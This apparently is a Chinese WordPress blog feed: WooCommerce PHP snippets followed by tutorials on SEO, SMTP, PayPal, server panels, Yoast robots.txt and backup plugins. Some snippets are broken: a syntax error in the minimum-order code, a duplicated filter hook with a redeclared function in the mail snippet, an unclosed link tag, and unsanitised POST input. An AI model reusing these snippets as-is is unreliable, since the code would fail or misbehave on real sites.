  8. }

6 – 向产品可变添加自定义字段

  1. //Display Fields
  2. add_action( 'woocommerce_product_after_variable_attributes', 'variable_fields', 10, 2 );
  3. //JS to add fields for new variations
  4. add_action( 'woocommerce_product_after_variable_attributes_js', 'variable_fields_js' );
  5. //Save variation fields
  6. add_action( 'woocommerce_process_product_meta_variable', 'variable_fields_process', 10, 1 );
  7.  
  8. function variable_fields( $loop, $variation_data ) { ?>	
  9. 	<tr>
  10. 		<td>
  11. 			<div>
  12. 					<label></label>
  13. 					<input type="text" size="5" name="my_custom_field[]" value=""/>
  14. 			</div>
  15. 		</td>
  16. 	</tr>
  17.  
  18. <tr>
  19. 		<td>
  20. 			<div>
  21. 					<label></label>
  22.  
  23. 			</div>
  24. 		</td>
  25. 	</tr>
  26. <?php }
  27.  
  28. function variable_fields_process( $post_id ) {
  29. 	if (isset( $_POST['variable_sku'] ) ) :
  30. 		$variable_sku = $_POST['variable_sku'];
  31. 		$variable_post_id = $_POST['variable_post_id'];
  32. 		$variable_custom_field = $_POST['my_custom_field'];
  33. 		for ( $i = 0; $i < sizeof( $variable_sku ); $i++ ) :
  34. 			$variation_id = (int) $variable_post_id[$i];
  35. 			if ( isset( $variable_custom_field[$i] ) ) {
  36. 				update_post_meta( $variation_id, '_my_custom_field', stripslashes( $variable_custom_field[$i] ) );
  37. 			}
  38. 		endfor;
  39. 	endif;
  40. }

7 – 用“sold”替换“Out of stock”

  1. add_filter('woocommerce_get_availability', 'availability_filter_func');
  2.  
  3. function availability_filter_func($availability)
  4. {
  5. 	$availability['availability'] = str_ireplace('Out of stock', 'Sold', $availability['availability']);
  6. 	return $availability;
  7. }

8 – 使用“产品已在购物车”替代“加入购物车”按钮

  1. /**
  2.  * Change the add to cart text on single product pages
  3.  */
  4. add_filter( 'woocommerce_product_single_add_to_cart_text', 'woo_custom_cart_button_text' );
  5.  
  6. function woo_custom_cart_button_text() {
  7.  
  8. 	global $woocommerce;
  9.  
  10. 	foreach($woocommerce->cart->get_cart() as $cart_item_key => $values ) {
  11. 		$_product = $values['data'];
  12.  
  13. 		if( get_the_ID() == $_product->id ) {
  14. 			return __('Already in cart - Add Again?', 'woocommerce');
  15. 		}
  16. 	}
  17.  
  18. 	return __('Add to cart', 'woocommerce');
  19. }
  20.  
  21. /**
  22.  * Change the add to cart text on product archives
  23.  */
  24. add_filter( 'add_to_cart_text', 'woo_archive_custom_cart_button_text' );
  25.  
  26. function woo_archive_custom_cart_button_text() {
  27.  
  28. 	global $woocommerce;
  29.  
  30. 	foreach($woocommerce->cart->get_cart() as $cart_item_key => $values ) {
  31. 		$_product = $values['data'];
  32.  
  33. 		if( get_the_ID() == $_product->id ) {
  34. 			return __('Already in cart', 'woocommerce');
  35. 		}
  36. 	}
  37.  
  38. 	return __('Add to cart', 'woocommerce');
  39. }

9 – 在类别视图中隐藏产品数量

  1. add_filter( 'woocommerce_subcategory_count_html', 'woo_remove_category_products_count' );
  2.  
  3. function woo_remove_category_products_count() {
  4. 	return;
  5. }

10 – 设置结账字段必填

  1. add_filter( 'woocommerce_checkout_fields', 'woo_filter_account_checkout_fields' );
  2.  
  3. function woo_filter_account_checkout_fields( $fields ) {
  4. 	$fields['account']['account_username']['required'] = true;
  5. 	$fields['account']['account_password']['required'] = true;
  6. 	$fields['account']['account_password-2']['required'] = true;
  7.  
  8. 	return $fields;
  9. }

11 – 重命名产品选项卡

  1. add_filter( 'woocommerce_product_tabs', 'woo_rename_tab', 98);
  2. function woo_rename_tab($tabs) {
  3.  
  4.  $tabs['description']['title'] = 'More info';
  5.  
  6.  return $tabs;
  7. }

12 – 列出WooCommerce产品分类

  1. $args = array(
  2.     'number'     => $number,
  3.     'orderby'    => $orderby,
  4.     'order'      => $order,
  5.     'hide_empty' => $hide_empty,
  6.     'include'    => $ids
  7. );
  8.  
  9. $product_categories = get_terms( 'product_cat', $args );
  10.  
  11. $count = count($product_categories);
  12.  if ( $count > 0 ){
  13.      echo "<ul>";
  14.      foreach ( $product_categories as $product_category ) {
  15.        echo '<li><a href="' . get_term_link( $product_category ) . '">' . $product_category->name . '</li>';
  16.  
  17.      }
  18.      echo "</ul>";
  19.  }

13 – 更换商店页面标题

  1. add_filter( 'woocommerce_page_title', 'woo_shop_page_title');
  2.  
  3. function woo_shop_page_title( $page_title ) {
  4.  
  5. 	if( 'Shop' == $page_title) {
  6. 		return "My new title";
  7. 	}
  8. }

14 – 更改小工具标题

  1. /*
  2.  * Change widget title
  3.  */
  4. add_filter( 'widget_title', 'woo_widget_title', 10, 3);
  5.  
  6. function woo_widget_title( $title, $instance, $id_base ) {
  7.  
  8. 	if( 'onsale' == $id_base) {
  9. 		return "My new title";
  10. 	}
  11. }

15 – 删除WooCommerce默认设置

  1. add_filter( 'woocommerce_catalog_settings', 'woo_remove_catalog_options' );
  2.  
  3. function woo_remove_catalog_options( $catalog ) {
  4.  
  5. 	unset($catalog[23]); //Trim zeros (no) 
  6. 	unset($catalog[22]); //2 decimals 
  7. 	unset($catalog[21]); //decimal sep (.) 
  8. 	unset($catalog[20]); //thousand sep (,) 
  9. 	unset($catalog[19]); //currency position (left)	
  10. 	unset($catalog[18]); //currency position (left)	
  11. 	unset($catalog[5]); // ajax add to cart (no)	
  12.  
  13. 	return $catalog; 
  14. }

16 – 更改发件人电子邮件地址

  1. function woo_custom_wp_mail_from() {
  2.         global $woocommerce;
  3.         return html_entity_decode( 'your@email.com' );
  4. }
  5. add_filter( 'wp_mail_from', 'woo_custom_wp_mail_from', 99 );

17 – 从WooCommerce电子邮件名称解码

  1. function woo_custom_wp_mail_from_name() {
  2.         global $woocommerce;
  3.         return html_entity_decode( get_option( 'woocommerce_email_from_name' ) );
  4. }
  5. add_filter( 'wp_mail_from_name', 'woo_custom_wp_mail_from_name', 99 );
  6.  
  7. function woo_custom_wp_mail_from() {
  8.         global $woocommerce;
  9.         return html_entity_decode( get_option( 'woocommerce_email_from' ) );
  10. }
  11. add_filter( 'wp_mail_from_name', 'woo_custom_wp_mail_from_name', 99 );

18 – 返回特色产品ID

  1. function woo_get_featured_product_ids() {
  2. 	// Load from cache
  3. 	$featured_product_ids = get_transient( 'wc_featured_products' );
  4.  
  5. 	// Valid cache found
  6. 	if ( false !== $featured_product_ids )
  7. 		return $featured_product_ids;
  8.  
  9. 	$featured = get_posts( array(
  10. 		'post_type'      => array( 'product', 'product_variation' ),
  11. 		'posts_per_page' => -1,
  12. 		'post_status'    => 'publish',
  13. 		'meta_query'     => array(
  14. 			array(
  15. 				'key' 		=> '_visibility',
  16. 				'value' 	=> array('catalog', 'visible'),
  17. 				'compare' 	=> 'IN'
  18. 			),
  19. 			array(
  20. 				'key' 	=> '_featured',
  21. 				'value' => 'yes'
  22. 			)
  23. 		),
  24. 		'fields' => 'id=>parent'
  25. 	) );
  26.  
  27. 	$product_ids = array_keys( $featured );
  28. 	$parent_ids  = array_values( $featured );
  29. 	$featured_product_ids = array_unique( array_merge( $product_ids, $parent_ids ) );
  30.  
  31. 	set_transient( 'wc_featured_products', $featured_product_ids );
  32.  
  33. 	return $featured_product_ids;
  34. }

19 – 在编辑地址页面添加自定义字段

  1. // add fields to edit address page
  2. function woo_add_edit_address_fields( $fields ) {
  3.  
  4. 	$new_fields = array(
  5. 				'date_of_birth'     => array(
  6. 				'label'             => __( 'Date of birth', 'woocommerce' ),
  7. 				'required'          => false,
  8. 				'class'             => array( 'form-row' ),
  9. 			),
  10. 		);
  11.  
  12. 	$fields = array_merge( $fields, $new_fields );
  13.  
  14.     return $fields;
  15.  
  16. }
  17.  
  18. add_filter( 'woocommerce_default_address_fields', 'woo_add_edit_address_fields' );

20 – 显示销售产品目录简码

  1. function woocommerce_sale_products( $atts ) {
  2.  
  3.     global $woocommerce_loop;
  4.  
  5.     extract(shortcode_atts(array(
  6.         'per_page'  => '12',
  7.         'columns'   => '4',
  8.         'orderby' => 'date',
  9.         'order' => 'desc'
  10.     ), $atts));
  11.  
  12.     $woocommerce_loop['columns'] = $columns;
  13.  
  14.     $args = array(
  15.         'post_type' => 'product',
  16.         'post_status' => 'publish',
  17.         'ignore_sticky_posts'   => 1,
  18.         'posts_per_page' => $per_page,
  19.         'orderby' => $orderby,
  20.         'order' => $order,
  21.         'meta_query' => array(
  22.             array(
  23.                 'key' => '_visibility',
  24.                 'value' => array('catalog', 'visible'),
  25.                 'compare' => 'IN'
  26.             ),
  27.             array(
  28.                 'key' => '_sale_price',
  29.                 'value' =>  0,
  30.                 'compare'   => '>',
  31.                 'type'      => 'NUMERIC'
  32.             )
  33.         )
  34.     );
  35.     query_posts($args);
  36.     ob_start();
  37.     woocommerce_get_template_part( 'loop', 'shop' );
  38.     wp_reset_query();
  39.  
  40.     return ob_get_clean();
  41. }
  42.  
  43. add_shortcode('sale_products', 'woocommerce_sale_products');

21 – 有促销商品

  1. function woo_have_onsale_products() {
  2.  
  3. 	global $woocommerce;
  4.  
  5. 	// Get products on sale
  6. 	$product_ids_on_sale = array_filter( woocommerce_get_product_ids_on_sale() );
  7.  
  8. 	if( !empty( $product_ids_on_sale ) ) {
  9. 		return true;
  10. 	} else {
  11. 		return false;
  12. 	}
  13.  
  14. }
  15.  
  16. // Example:
  17. if( woo_have_onsale_products() ) {
  18. 	echo 'have onsale products';
  19. } else {
  20. 	echo 'no onsale product';
  21. }

22 – 设定最低订单量

  1. add_action( 'woocommerce_checkout_process', 'wc_minimum_order_amount' );
  2. function wc_minimum_order_amount() {
  3. 	global $woocommerce;
  4. 	$minimum = 50;
  5. 	if ( $woocommerce->cart->get_cart_total(); < $minimum ) {
  6.            $woocommerce->add_error( sprintf( 'You must have an order with a minimum of %s to place your order.' , $minimum ) );
  7. 	}
  8. }

23 – 在商城页面按价格,日期或标题排序

  1. add_filter('woocommerce_default_catalog_orderby', 'custom_default_catalog_orderby');
  2.  
  3. function custom_default_catalog_orderby() {
  4.      return 'date'; // Can also use title and price
  5. }

24 – 重定向添加到购物车按钮到结帐页面

  1. add_filter ('add_to_cart_redirect', 'redirect_to_checkout');
  2.  
  3. function redirect_to_checkout() {
  4.     global $woocommerce;
  5.     $checkout_url = $woocommerce->cart->get_checkout_url();
  6.     return $checkout_url;
  7. }

25 – 订单完成时添加电子邮件收件人

  1. function woo_extra_email_recipient($recipient, $object) {
  2.     $recipient = $recipient . ', your@email.com';
  3.     return $recipient;
  4. }
  5. add_filter( 'woocommerce_email_recipient_customer_completed_order', 'woo_extra_email_recipient', 10, 2);

原文链接:My 25 Best WooCommerce Snippets For WordPress

实用的25个WooCommerce片段1,首发于蓝月网络

]]>
Responsive响应式设计与搜索引擎优化那点事儿 https://lanyueer.com/responsive-web-design-and-seo/ Wed, 14 Jun 2017 10:10:13 +0000 https://lanyueer.com/?p=952 随着智能手机和平板设备在互联网应用中的普及,网站设计中的跨平台自适应兼容响应设计显得越来越重要。自2012年初…

Responsive响应式设计与搜索引擎优化那点事儿,首发于蓝月网络

]]>

随着智能手机和平板设备在互联网应用中的普及,网站设计中的跨平台自适应兼容响应设计显得越来越重要。自2012年初的惊艳登场亮相之后,响应式网页设计已经迅速奠定了其作为打通移 动端设备浏览体验最佳途径的基础。通俗点讲,所谓响应式设计值得就是网站的内容元素排版布局,会针对不同类型的屏幕设备作结构上的自适应兼容,让用户不管是在手机、平板还是电脑 上都能达到良好的阅读体验。

为何响应式设计能在业界掀起一股浪潮?最显著的的原因就是,我们不需要为移动端的用户体验而去单独再去制作一个网站,站长不需要去耗费时间和精力维护多个网站,而用户也不再需要 在网站之间来回跳转。那么站在SEO的角度来看,响应式设计又带来了什么影响呢?其实从上面的阐述中可以很直观的体会到,自适应的网站无疑是对网站优化有着莫大好处的,Google近期 的态势也表现出对移动端体验的重视。下面我们就从几个重要的方面来谈谈响应式设计对SEO的正面影响:

1. Google对响应式设计的青睐

对SEO优化而言Google可以说是神一般的存在,如果你希望网站能获得神的眷顾,最明智的办法就是时不时地去关注并揣摩它的喜好,当然这个喜好也不是一成不变的。近年来Google不仅 建议把响应式设计作为移动端用户引流的最佳途径,也非常偏爱那些针对移动端搜索结果深度优化的网站,这一点尤其是在用户搜索本地服务的时候表现最为显著。

Google也特别在2015年4月声明调整搜索引擎的算法,其中主要涉及的内容包括针对智能手机、平板等移动设备的友好性标准衡量,并且特意制作了手机兼容性的检测网站,让站长可以更便 捷地自查网站在手机上的加载表现。之后在短时间内Bing和Yahoo的搜索算法也迅速跟进这一技术趋势,所以RWD设计对于网站SEO是具有深远影响的。

虽然现在在很多网站上,还是可以很显眼的看到“访问手机版”之类的链接,业界内对于是否有必要把针对移动端的网站独立出来重新设计存在一些争议,但是归根究底来讲,响应式设计对 于用户、搜索引擎和站长三方立场都大有裨益,也充分体现着搜索引擎优化理念中的“归一”思想。

2. 独一无二的网站和天下无双的URL

单独再建立一个手机版网站的确有它的好处,而且在某些情况下效果还不错。如果一个网站有海量级的内容,比如门户类的新闻站,那么响应式机制可以将网站无缝切换至自适应版,用户可以毫无障碍的在移动端设备上浏览网站,手指腾挪间便可以灵活的遨游海量内容资讯。

从SEO的角度来看,独立手机版网站面临的最大挑战就是如何提升收录内容的权重,大多数的手机网站在这方面表现并不是很理想,主要原因是它上面的内容跟主站的重复性很高。而相对来 说响应式的自适应网站,则可以让你把更多的时间和精力放在单一网站的维护上,省却很多重复性劳动的同时,也为网站的深度品质挖掘留下了更多的发挥空间,同时URL网址的唯一性也更好的保障了网站在SERPs方面的品质。

更长远一点来说,一个响应式网站也意味这今后在社交媒体等平台上构建外链体系时,你也只需要针对某个特性的网址就可以了,不论用户是使用台式机、平板电脑还是智能手机,这个链接 网址都可以有很好的兼容性表现。

3. 响应式对跳出率的抗击与改善

即便一个网站在搜索引擎上有着不错的表现,但是如果它在手机或平板设备上的体验不理想,那么高企的跳出率将会是一个最大的隐患。西米CC觉得引发高跳出率的主要原因,一是手机版网站相对于原 版网站内容的大幅缩水,二是内容的整体表现形式与桌面版有很大差异,从而使得用户大大降低了点击行为的积极性。Google会将这种高跳出率的结果,理解为网站给用户提供的信息关联度 不高的信号,进而对页面的权重产生了负面的影响。

响应式网站可以从根本上解决上述的几个问题,所有的网站页面可以在内容和结构上都保留很高的还原性,在我们花了足够的心思为用户设计好内容呈现效果之后,响应式设计可以在很大程 度上保障用户的界面和阅读体验,高度关联的内容能很好的保证页面黏度,有效提升用户的停留时间和链接深度等指标。

其实经常浏览ThemeForest官网的朋友会发现,不论是WordPress还是Joomla等主流程序的商业模板,作者都很喜欢在名称中标注上Responsive的字样,足见响应式设计已经在业界蔚然成 风。当然我们也不能排除有些网站不需要这种自适应的效果,可能是由于一些功能模块的原因,很多贴心的模板作者也会在后台预留响应式机制的启用/禁用选项。

另外我们在调试响应式网站 的时候,并不是一定要真去在手机、平板等设备上逐个打开浏览效果,类似谷歌Chrome和火狐FireFox之类的桌面浏览器,可以直接让你通过调整浏览器窗口的宽度,直观地模拟观察网站的 自适应效果表现。

Responsive响应式设计与搜索引擎优化那点事儿,首发于蓝月网络

]]>
WordPress SMTP发送邮件插件:WP SMTP https://lanyueer.com/wordpress-smtp-email/ Wed, 14 Jun 2017 10:01:43 +0000 https://lanyueer.com/?p=949 对于一个网站而言,发送邮件的功能是必不可少的,现在的主机一般都支持发送邮件,但是不同的主机由于函数限制或者某些其他原因,可能造成没办法正常发送邮件。这时候,我们可能就要借助第三方SMTP发送邮件。

WordPress SMTP发送邮件插件:WP SMTP,首发于蓝月网络

]]>
对于一个网站而言,发送邮件的功能是必不可少的,现在的主机一般都支持发送邮件,但是不同的主机由于函数限制或者某些其他原因,可能造成没办法正常发送邮件。这时候,我们可能就要借助第三方SMTP发送邮件。

对于使用WordPress建站的朋友来说,SMTP发送邮件的插件还是比较多的,功能大多类似,下面以WP SMTP为例讲解一下配置。

WP SMTP简介

WP SMTP插件是国人制作的,设置页面的顶部包含了 Gmail邮箱、微软邮箱、163邮箱、QQ邮箱的设置示例,可以点击对应的图标查看示例截图,其他邮箱设置方法也差不多。

WP SMTP插件已被WordPress官方收录,已自带简体中文语言包,而且可以在卸载时自动删除设置数据。

配置好 WP SMTP 以后,你可以发送一封测试邮件,看是否成功。

WP SMTP插件下载

WP官方 | 作者官方

类似插件推荐

如果不想使用插件的话,单纯使用代码也是可以的:

WordPress无插件实现SMTP发送邮件

在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮件很容易失败或者被拒收。所以很多人选择用更方便高效的SMTP来发送邮件。要用SMTP发送邮件,首先需要拥有一个支持SMTP的邮箱(包括Gmail、QQ、126、163等主流邮箱都支持SMTP功能,可能需要到设置中打开),然后在WordPress...


只要你搜索 SMTP ,你会发现不少类似的插件,你可以试试 Configure SMTPWP-Mail-SMTP

WordPress SMTP发送邮件插件:WP SMTP,首发于蓝月网络

]]>
WordPress 4.8 正式版已发布 https://lanyueer.com/wordpress-4-8/ Fri, 09 Jun 2017 10:10:24 +0000 https://lanyueer.com/?p=948 WordPress 4.8 Evans 已经发布,该版本的新特性让用户能够使用更多的方式来表达自己和呈现品牌。…

WordPress 4.8 正式版已发布,首发于蓝月网络

]]>
WordPress 4.8 Evans 已经发布,该版本的新特性让用户能够使用更多的方式来表达自己和呈现品牌。这些新特性包括:

  • 改进链接编辑体验,编辑链接不用再来回的删除、移动甚至重新插入或者切换到文本编辑模式
  • 新增 3 个小工具:图片、音频和视频
  • 文本小工具支持可视化编辑
  • 控制面板中的WordPress新闻模块增加WP官方会议和WordCamps的内容
  • 外观-自定义的左侧栏支持响应式更改宽度
  • 后台不再支持IE8、IE9 和 IE10(不再测试和修复对这几个版本浏览器的支持)

目前在后台已经看到 WordPress 4.8 推送, 从更新内容来看,只要插件和主题都支持 4.7 ,那直接升级到 4.8 应该问题不大,但是还是建议升级前记得备份数据库和文件为好。如需下载更新,可以点此下载 WordPress 4.8

WordPress 4.8 正式版已发布,首发于蓝月网络

]]>
WooCommerce使用paypal结账设置 https://lanyueer.com/woocommerce-paypal/ Fri, 09 Jun 2017 05:49:57 +0000 https://lanyueer.com/?p=946 PayPal(在中国大陆的品牌为贝宝),是美国eBay公司的全资子公司。1998年12月由 Peter Thi…

WooCommerce使用paypal结账设置,首发于蓝月网络

]]>
PayPal(在中国大陆的品牌为贝宝),是美国eBay公司的全资子公司。1998年12月由 Peter Thiel 及 Max Levchin 建立。 是一个总部在美国加利福尼亚州圣荷西市的因特网服务商,允许在使用电子邮件来标识身份的用户之间转移资金,避免了传统的邮寄支票或者汇款的方法。

一般国内alipay,国外PayPal,做外贸网站基本都是使用PayPal !

首先请确定您的PayPal账户为商家账户[Business Account],然后继续。

注册PayPal

1.打开PayPal官方网站 https://www.paypal.com/点击右上方注册按钮。

11

2.选择商家账户(目前个人和企业都可以注册)。

12

3.输入要注册的邮箱,账户信息等,一步步向下操作就可以了。

13

14

15

16

PS:右下角可以选择中文显示,请收到邮件后激活一下。

获取API

1.登录您的PayPal,点击右上角的用户信息,弹出窗口,选择【用户信息与设置】。

17

2.点击左侧最后一个选择【销售工具】,然后选择【API访问】,点击更新。

18

3.选择选项2申请API凭证

19

4.请选择申请API签名

20

5.获取成功,点击显示,将会获取下方如图的API签名。

21

添加到woocommerce网店

到网站后台,路径是 woocommerce>设置>结算>贝宝 。把上方获取的API填写到相应的输入框。

120

WooCommerce使用paypal结账设置,首发于蓝月网络

]]>
设置Paypal Sandbox测试WooCommerce Subscription https://lanyueer.com/woocommerce-paypal-sandbox-test/ Fri, 09 Jun 2017 02:04:22 +0000 https://lanyueer.com/?p=941 创建Paypal Sandbox账户 首先,到developer.paypal.com注册一个开发者账户。 注…

设置Paypal Sandbox测试WooCommerce Subscription,首发于蓝月网络

]]>
创建Paypal Sandbox账户

首先,到developer.paypal.com注册一个开发者账户。

注册成功后,到Applications » Sandbox accounts下点击Create Account按钮创建账户,我们需要两个账户:

  • 卖家账户(Business)
  • 买家账户(Personal)

例如,注册卖家账户,所有信息都不需要是真的,如果你懒得编,用Fake Name Generator生成一个填上即可。


获取API信息

WooCommerce Subscription需要Paypal订阅和取消的功能,除了要卖家的邮箱之外,还需要API信息,获取API信息的方法是:点击账户旁边的箭头,点击Profile,切换到弹窗第二个选项卡(API credentials),把信息填写进去即可。

WooCommerce Subscription插件设置

设置Paypal Sandbox测试WooCommerce Subscription,首发于蓝月网络

]]>
推荐WordPress 运行环境配置 https://lanyueer.com/wordpress-environment/ Wed, 07 Jun 2017 14:54:55 +0000 https://lanyueer.com/?p=937 目前有3种环境可供选择: LNMP 无面板环境 为 centOS 等 Linux系统,配置 Nginx + M…

推荐WordPress 运行环境配置,首发于蓝月网络

]]>
目前有3种环境可供选择:

LNMP 无面板环境

为 centOS 等 Linux系统,配置 Nginx + MySQL + PHP  的环境,蓝月网络目前就是使用这个环境。完美运行 WordPress,支持伪静态,支持发送邮件,可通过FTP管理网站文件,通过 phpmyadmin 管理数据库等。该环境没有可视化管理面板,创建站点、数据库和FTP等需要在 ssh 下使用命令操作,优点是占用内存资源非常小,安全性高,稳定高效。

可选组件及版本:

  • Nginx 默认安装最新版
  • MySQL 一般安装 5.5 版本,因为 5.6 及以上版本比较耗内存
  • PHP 可选安装 5.4、5.5、5.6、7.0 任何一个版本
  • 内置 phpmyadmin,可视化管理数据库
  • 安装 postfix 组件,支持发送邮件
  • 可选安装 pureftpd 实现 FTP 功能
  • 可选安装 eAccelerator、xcache、memcached、imageMagick、ionCube、redis、opcache 等缓存加速组件。

更多信息请看:http://lnmp.org/

WDCP 3 可视化面板

wdCP是WDlinux Control Panel的简称,是一套通过WEB界面就可以控制和管理Linux云主机服务器以及虚拟主机的管理系统。最近更新的 WDCP 3,已经对组件进行了全面更新,安全性也得到了提升。这个面板操作非常简单,通过这个面板你几乎可以实现各种操纵,包括但不限于创建和管理网站、数据库、FTP 等等。当然,可视化面板相对而言会占用多点内存,而且可能会存在某些隐藏的安全问题(当然,官方的更新维护还是可以的,所以不必太担心)。支持伪静态,支持发送邮件。

  • 可选组件及版本:
  • apache 可选 2.2.31 或 2.4.18,默认安装 2.4.18
  • nginx 可选 1.8.1 或 1.10.0,默认安装 1.10.0
  • mysql 可选 5.5.49 或 5.6.30,默认安装  5.5.49
  • php 可选 5.3、5.4、5.5、5.6 或 7.0 任何一个版本,默认安装 5.6
  • 内置 phpmyadmin,可视化管理数据库
  • 安装 postfix 组件,支持发送邮件
  • 默认安装 pureftpd 实现 FTP 功能
  • 默认集成了 memcached 等应用组件

注:

  1. apache 和 nginx 可以两个都安装,也可以仅安装其中一个,默认两个都安装
  2. openvz 的虚拟机类型的 VPS 目前无法安装 WDCP

更多信息请看:http://www.wdlinux.cn/bbs/forum-23-1.html

界面预览:

宝塔 可视化面板

宝塔软件既有Windows 版也有 Linux 版,下面主要介绍下 Linux 版。Linux 版暂时只对 CentOS 6.x / 7.x 提供支持。

包含软件:

  • Nginx1.10
  • PHP5.2 – 7.1(安装时可选,支持多版本共存,除php7.0、7.1,都已包含zendloader)
  • MySQL5.5 – 5.7(安装时可选)
  • Pure-Ftpd
  • phpMyadmin
  • WEB在线面板

功能说明:

  1. 在线查看服务器资源状态;
  2. 一键建站(包含FTP,数据库的建立,只需1秒)
  3. 网站、FTP、数据库的日常管理以及备份;
  4. 防火墙端口管理;
  5. SSH服务以及端口管理;
  6. 强大的在线文件管理系统,支持批量上传、下载、文件复制、移动、删除、在线编辑、图片在线预览、目录压缩、(zip、tar.gz)解压功能。
  7. 简易WEB版终端

界面预览:

推荐WordPress 运行环境配置,首发于蓝月网络

]]>
强大的SEO插件 – Yoast seo使用介绍 https://lanyueer.com/yoast-seo-plugin/ Fri, 02 Jun 2017 13:06:18 +0000 https://lanyueer.com/?p=936 最近安装的YOAST SEO都无法直接看到TOOLS和ADVANCED这几个菜单 这需要在 SEO ̵…

强大的SEO插件 – Yoast seo使用介绍,首发于蓝月网络

]]>
最近安装的YOAST SEO都无法直接看到TOOLS和ADVANCED这几个菜单

default-yoast-seo

这需要在 SEO – Dashboard 里面有一个features子菜单里面,把这些功能打开即可显示,如下图

new-yoast-seo-setting

然后就可以显示全部的菜单了,如下图,下文的内容都是围绕这些设置展开。

yoast seo全部设置

1. 安装激活

2.Titles & Metas: 这一部分就是设置各个不同类型页面的标题格式,一般按以下的格式默认填写即可

Homepage:上面提示你去网站首页里面单独设置,所以这里不用管它。

yoast seo首页标题设置

post types + other 这两大项的title保持系统默认即可,不用改变

Taxonomies: 里面的每一项的title都把archive单词去掉即可

yoast seo taxonomies设置

Archive: 把这一项目里面所有的子项目全部设置为noindex即可

yoast seo archives设置

3. XML Sitemaps, 按下列截图进行设置,其他子项保持默认

Poat types这里只显示post, pages 和Portfolio 的sitemap,按下图设置即可

post sitemap

Taxonomies这里只显示Categories和 portfolio categories, 按下图设置即可

taxonomies sitemap

以上设置完保存以后,在General里面点击xml sitemap即可打开XML格式的sitemap链接,不用再通过FTP上传去生成链接(要明白上传xml文件的目的是为了获取网站地图的链接),当你的网站有新内容的时候,此sitemap会自动更新内容,非常方便。所以可以将此sitemap的链接直接提交给GG即可。

yoast seo网站地址设置

4. Tools菜单设置

在tools里面的file editor里面可以编辑robots文件和 htaccess文件,如下图

Yoast seo tools设置

将正确的robots代码粘贴到框里面后,点save即可生效

yoast robots

网站禁止收录的robots代码为:

User-agent: *
Disallow: /

网站完成后放开收录的参考robots代码参考:

User-agent: *
Disallow: /inquiry.html
Disallow: /inquiry/
Disallow: /author/*
Disallow: /thank-you/
Disallow: /blog/author/*
Disallow: /wp-admin/

robots编辑框的下部就是编辑htaccess文件的编辑框,但是由于htaccess文件非常重要,稍有不慎就会导致网站打不开,所以建议慎重操作htaccess文件, 在操作前一定要备份文件。

yoast htaccess

注:对于使用VPS建站并且系统为nginx的网站,是没有.htaccess文件设置项的

5. Advanced设置项保持默认即可

强大的SEO插件 – Yoast seo使用介绍,首发于蓝月网络

]]>
WordPress用户切换插件:User Switching https://lanyueer.com/wordpress-user-switching/ Wed, 24 May 2017 14:50:07 +0000 https://lanyueer.com/?p=931 作为WordPress主题或插件开发者,测试多角色多用户是很必要的,频繁的退出、登录,既耗时又繁琐。推荐你试试…

WordPress用户切换插件:User Switching,首发于蓝月网络

]]>
作为WordPress主题或插件开发者,测试多角色多用户是很必要的,频繁的退出、登录,既耗时又繁琐。推荐你试试 WordPress用户切换插件:User Switching

User Switching 插件可以让你在 WordPress 不同用户之间的快速切换,只需要点击一个按钮,就可以立即退出当前用户,并登录新的用户。User Switching 完美兼容 WordPress多站点和 BuddyPress。如果你需要在不同账户之间切换登录,或者需要切换不同的管理员角色,这个插件就适合你!

只有那些能够编辑其他用户的角色(默认情况下,只有单个站点的安装管理员和多站点的超级管理员)才可以使用该插件。

User-Switching2

切换到用户之后,也可以通过管理员工具条非常轻松的切换回来你自己的用户:

User-Switching3

 

在后台插件安装界面搜索 User Switching 即可在线安装,或者

下载 User Switching

WordPress用户切换插件:User Switching,首发于蓝月网络

]]>
如何通过BackupBuddy保持您的WordPress内容安全 https://lanyueer.com/how-to-keep-your-wordpress-content-safe-with-backupbuddy/ Mon, 22 May 2017 13:49:41 +0000 https://lanyueer.com/?p=917 您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

如何通过BackupBuddy保持您的WordPress内容安全,首发于蓝月网络

]]>
您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

为什么需要您的网站的WordPress备份插件

互联网上的所有网站都容易受到安全威胁的影响。 任何网站都可能成为黑客,数据丢失或服务器灾难的牺牲品。

无论您是否使用WordPress网站,都可能发生这种情况。 任何有经验的人都可以告诉你,问题不在于是否会发生,而是一定会发生的。

保护自己免受此类灾难的第一步是实施自动备份解决方案。

就像您的计算机一样,您可以备份您的网站并将备份存储在不同的位置。 这样您就可以在需要时轻松恢复网站。

BackupBuddy是一个WordPress备份插件 ,可以让您自动创建WordPress站点的完整备份,并将其保存在多个远程位置,如云存储服务,计算机,FTP服务器等。

在您的WordPress网站上安装BackupBuddy

购买插件后,您需要将其下载到您的计算机。

接下来,您需要安装并激活BackupBuddy插件。

使用BackupBuddy设置预定备份

只需访问BackupBuddy »备份页面即可创建和设置备份。

BackupBuddy quick setup wizard

首先,您需要提供一个电子邮件地址。 这是BackupBuddy将向您发送电子邮件通知和备份电子邮件的地址。

接下来你需要提供一个密码。 如果您使用BackupBuddy将WordPress站点移动到新服务器或主机时,将使用此密码。

设置了密码之后需要选择发送备份的位置。

有很多选项可用。 您可以将您的WordPress备份存储在Dropbox,Google Drive,Amazon S3,Email,FTP,本地存储等。

Choose where to save backups

最后,您需要选择创建备份的频率。 您可以根据需要创建手动备份,或者选择每月或每周的完整备份选项,每日数据库备份。

点击保存设置按钮继续。

BackupBuddy现在将显示备份配置文件页面。 您可以单击数据库或完整备份配置文件来创建您的第一个备份。

Backup Profiles

由于您之前尚未创建备份,因此建议您单击完整备份配置文件。

确保选中“作为备份过程的一部分发送到远程目标 ”旁边的框。 这将弹出一个弹出窗口,您可以从中选择您之前添加的目的地之一。

Select backup destination

BackupBuddy将开始创建备份文件。 您将可以看到备份的进度。 一旦完成,您将看到一个成功的消息。

您现在可以检查所选的远程目标,以确保备份已成功传输。

使用BackupBuddy恢复WordPress备份

BackupBuddy不仅可以轻松创建备份,还可以轻松地从备份还原站点。

只需转到BackupBuddy»恢复/迁移页面,并向下滚动到您的备份部分。 在那里您将看到浏览或还原文件和数据库回滚的链接。

Restore files and database from backup

